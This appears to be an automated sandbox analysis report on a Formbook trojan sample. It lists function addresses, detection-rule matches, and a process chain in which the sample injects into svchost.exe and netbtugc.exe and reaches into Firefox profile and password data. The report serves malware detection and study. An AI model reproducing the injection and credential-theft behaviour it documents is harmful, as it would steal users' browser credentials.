Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFEEDB	2_2_02FFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52E90	2_2_02F52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFCE93	2_2_02FFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40E59	2_2_02F40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFEE26	2_2_02FFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4CFE0	2_2_02F4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F32FC8	2_2_02F32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBEFA0	2_2_02FBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB4F40	2_2_02FB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60F30	2_2_02F60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE2F30	2_2_02FE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F82F28	2_2_02F82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30CF2	2_2_02F30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0CB5	2_2_02FE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40C00	2_2_02F40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3ADE0	2_2_02F3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F58DBF	2_2_02F58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDCD1F	2_2_02FDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4AD00	2_2_02F4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE12ED	2_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B2C0	2_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F452A0	2_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F8739A	2_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D34C	2_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF132D	2_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF70E9	2_2_02FF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF0E0	2_2_02FFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF0CC	2_2_02FEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F470C0	2_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B16B	2_2_0300B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4B1B0	2_2_02F4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F172	2_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7516C	2_2_02F7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF16CC	2_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF7B0	2_2_02FFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31460	2_2_02F31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF43F	2_2_02FFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD5B0	2_2_02FDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF7571	2_2_02FF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEDAC6	2_2_02FEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDDAAC	2_2_02FDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F85AA0	2_2_02F85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE1AA3	2_2_02FE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB3A6C	2_2_02FB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFA49	2_2_02FFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF7A46	2_2_02FF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB5BF0	2_2_02FB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7DBF9	2_2_02F7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5FB80	2_2_02F5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFB76	2_2_02FFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F438E0	2_2_02F438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAD800	2_2_02FAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F49950	2_2_02F49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B950	2_2_02F5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD5910	2_2_02FD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F49EB0	2_2_02F49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFFB1	2_2_02FFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F41F92	2_2_02F41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFF09	2_2_02FFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFCF2	2_2_02FFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB9C32	2_2_02FB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5FDC0	2_2_02F5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF7D73	2_2_02FF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF1D5A	2_2_02FF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F43D40	2_2_02F43D40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FA352	4_2_031FA352
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_032003E6	4_2_032003E6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0314E3F0	4_2_0314E3F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E0274	4_2_031E0274
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031C02C0	4_2_031C02C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031DA118	4_2_031DA118
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03130100	4_2_03130100
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031C8158	4_2_031C8158
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_032001AA	4_2_032001AA
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F41A2	4_2_031F41A2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F81CC	4_2_031F81CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031D2000	4_2_031D2000
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03164750	4_2_03164750
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03140770	4_2_03140770
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0313C7C0	4_2_0313C7C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0315C6E0	4_2_0315C6E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03140535	4_2_03140535
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03200591	4_2_03200591
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E4420	4_2_031E4420
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F2446	4_2_031F2446
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031EE4F6	4_2_031EE4F6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FAB40	4_2_031FAB40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F6BD7	4_2_031F6BD7
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0313EA80	4_2_0313EA80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03156962	4_2_03156962
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0320A9A6	4_2_0320A9A6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031429A0	4_2_031429A0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0314A840	4_2_0314A840
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03142840	4_2_03142840
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031268B8	4_2_031268B8
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0316E8F0	4_2_0316E8F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03160F30	4_2_03160F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E2F30	4_2_031E2F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03182F28	4_2_03182F28
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031B4F40	4_2_031B4F40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031BEFA0	4_2_031BEFA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03132FC8	4_2_03132FC8
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0314CFE0	4_2_0314CFE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FEE26	4_2_031FEE26
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03140E59	4_2_03140E59
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03152E90	4_2_03152E90
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FCE93	4_2_031FCE93
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FEEDB	4_2_031FEEDB
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031DCD1F	4_2_031DCD1F
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0314AD00	4_2_0314AD00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03158DBF	4_2_03158DBF
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0313ADE0	4_2_0313ADE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03140C00	4_2_03140C00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E0CB5	4_2_031E0CB5
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03130CF2	4_2_03130CF2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F132D	4_2_031F132D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0312D34C	4_2_0312D34C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0318739A	4_2_0318739A
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031452A0	4_2_031452A0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0315B2C0	4_2_0315B2C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E12ED	4_2_031E12ED
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0320B16B	4_2_0320B16B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0312F172	4_2_0312F172
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0317516C	4_2_0317516C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0314B1B0	4_2_0314B1B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031EF0CC	4_2_031EF0CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031470C0	4_2_031470C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F70E9	4_2_031F70E9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FF0E0	4_2_031FF0E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FF7B0	4_2_031FF7B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03185630	4_2_03185630
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F16CC	4_2_031F16CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F7571	4_2_031F7571
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031DD5B0	4_2_031DD5B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_032095C3	4_2_032095C3
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FF43F	4_2_031FF43F
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03131460	4_2_03131460
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FFB76	4_2_031FFB76
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0315FB80	4_2_0315FB80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031B5BF0	4_2_031B5BF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0317DBF9	4_2_0317DBF9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FFA49	4_2_031FFA49
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F7A46	4_2_031F7A46
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031B3A6C	4_2_031B3A6C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031DDAAC	4_2_031DDAAC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03185AA0	4_2_03185AA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031E1AA3	4_2_031E1AA3
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031EDAC6	4_2_031EDAC6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031D5910	4_2_031D5910
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03149950	4_2_03149950
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0315B950	4_2_0315B950
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031AD800	4_2_031AD800
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031438E0	4_2_031438E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FFF09	4_2_031FFF09
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03141F92	4_2_03141F92
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FFFB1	4_2_031FFFB1
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03103FD2	4_2_03103FD2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03103FD5	4_2_03103FD5
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03149EB0	4_2_03149EB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F1D5A	4_2_031F1D5A
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03143D40	4_2_03143D40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031F7D73	4_2_031F7D73
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0315FDC0	4_2_0315FDC0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031B9C32	4_2_031B9C32
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031FFCF2	4_2_031FFCF2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_025415E0	4_2_025415E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0253C7D0	4_2_0253C7D0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0253C7C7	4_2_0253C7C7
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0253AA70	4_2_0253AA70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0253C9F0	4_2_0253C9F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_025430F0	4_2_025430F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_025430EE	4_2_025430EE
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02559FD0	4_2_02559FD0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DAA0AF	4_2_02DAA0AF
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DAB8B4	4_2_02DAB8B4
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DAB9D6	4_2_02DAB9D6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DAADD8	4_2_02DAADD8
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02DABD6C	4_2_02DABD6C

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F87E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F2B970 appears 278 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 0312B970 appears 280 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03175130 appears 58 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 031BF290 appears 105 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03187E54 appears 111 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 031AEA12 appears 86 times
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: String function: 006F0A30 appears 46 times
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: String function: 006EF9F2 appears 40 times
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: String function: 006D9CB3 appears 31 times

Source: QLLafoDdqv.exe, 00000000.00000003.2119469328.00000000040A3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QLLafoDdqv.exe
Source: QLLafoDdqv.exe, 00000000.00000003.2121982850.000000000424D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QLLafoDdqv.exe

Source: QLLafoDdqv.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@18/14

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_007437B5 GetLastError,FormatMessageW,

0_2_007437B5

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_007310BF AdjustTokenPrivileges,CloseHandle,		0_2_007310BF
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_007316C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_007316C3

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_007451CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_007451CD

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0075A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0075A67C

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0074648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0074648E

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006D42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_006D42A2

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

File created: C:\Users\user\AppData\Local\Temp\aut1BE0.tmp

Jump to behavior

Source: QLLafoDdqv.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B82000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2448891881.0000000002B82000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4567487590.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2448785974.0000000002B62000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4567487590.0000000002B8D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QLLafoDdqv.exe	ReversingLabs: Detection: 55%
Source: QLLafoDdqv.exe	Virustotal: Detection: 40%

Source: unknown	Process created: C:\Users\user\Desktop\QLLafoDdqv.exe "C:\Users\user\Desktop\QLLafoDdqv.exe"
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QLLafoDdqv.exe"
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QLLafoDdqv.exe"	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: winmm.dll	Jump to behavior
